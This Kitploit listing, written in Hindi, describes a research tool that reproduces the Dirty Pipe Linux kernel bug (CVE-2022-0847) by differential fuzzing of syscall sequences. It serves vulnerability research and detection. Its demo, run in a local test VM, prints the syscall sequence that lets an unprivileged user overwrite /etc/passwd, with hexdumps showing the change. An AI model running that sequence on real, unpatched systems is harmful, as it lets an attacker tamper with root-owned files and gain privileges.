Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
reproducer-poc-CVE-2022-0847 — बहुत मोटा PoC CVE-2022-0847 (dirty pipe) का पता लगाने/दोहराने के लिए syscalls के यादृच्छिक उत्पादन और एक मॉडल के विरुद्ध डिफरेंशियल फज़िंग के माध्यम से। | Kitploit
उपकरण/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
गतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणशोषणफज़िंगपेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

बहुत मोटा PoC CVE-2022-0847 (dirty pipe) का पता लगाने/दोहराने के लिए syscalls के यादृच्छिक उत्पादन और एक मॉडल के विरुद्ध डिफरेंशियल फज़िंग के माध्यम से।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

CVE-2022-0847 (dirty pipe) का एक सरल डिटेक्टर और पुनरुत्पादक। यह सीमित बिल्डिंग ब्लॉक्स / इनपुट मानों (केवल जनरेशन, कोई उन्नत फ़ज़िंग नहीं; कोई म्यूटेशन नहीं; कोई कवरेज गाइडेंस नहीं; कोई श्रिंकिंग/मिनीमाइज़ेशन नहीं) से सिस्कॉल अनुक्रमों/प्रोग्रामों का एक सरल जनरेटर उपयोग करता है और प्रत्येक क्रिया के रिटर्न मानों की तुलना एक मॉडल और वास्तविक कर्नेल पर करके (मॉडल के विरुद्ध डिफरेंशियल फ़ज़िंग) स्टेटफुल प्रॉपर्टी-आधारित परीक्षण से प्रेरित तरीके से दुर्व्यवहार का पता लगाता है।

अस्वीकरण के रूप में: कोड ट्रिगरिंग न्यूनतम PoC उत्पन्न करने में सक्षम होने के लिए बिल्डिंग ब्लॉक्स में बहुत सारे मैजिक नंबर/हैक्स/अंतर्निहित मानों का उपयोग करता है। इसलिए यह सही पैरामीटर के साथ सही सिस्कॉल अनुक्रम उत्पन्न करने के यथार्थवादी तरीके का प्रतिनिधित्व करने में वास्तव में (केवल आधे-अधूरे तरीके से) सक्षम नहीं है। सभी मापदंडों पर बिना किसी मार्गदर्शन के बड़े संभावित स्टेट स्पेस में जनरेशन करना संभवतः बहुत अधिक समय लेगा।

मैंने उन सभी स्थानों को चिह्नित करने का प्रयास किया है जहां कोई मान या क्रियाओं का चुनाव स्वयं PoC के बारे में अनुमानित ज्ञान से सीधे प्रभावित होता है - और जिसे पूरी तरह से यथार्थवादी PoC के लिए बेतरतीब ढंग से खोजा जाना होगा - स्ट्रिंग "MAGIC VALUE" के साथ।

इसे एक बहुत ही मोटा प्रूफ-ऑफ-कॉन्सेप्ट के रूप में देखा जाना चाहिए।

सफल निष्पादन का उदाहरण:

root@kitploit:~
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux

# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

आउटपुट:

root@kitploit:~
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # note that this poc is found practically instantly

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

ध्यान दें कि यह PoC, build-kernel-and-minimal-poc वाले से थोड़ा अलग है, क्योंकि syscalls का क्रम इस तरह बदल दिया गया है जो बग के लिए वास्तव में मायने नहीं रखता। यह दर्शाता है कि मॉडल और वास्तविक दुनिया के SUT के विरुद्ध कमांड का लॉक-स्टेप निष्पादन इस स्थिति की सही पहचान भी करता है।

टूल डाउनलोड करें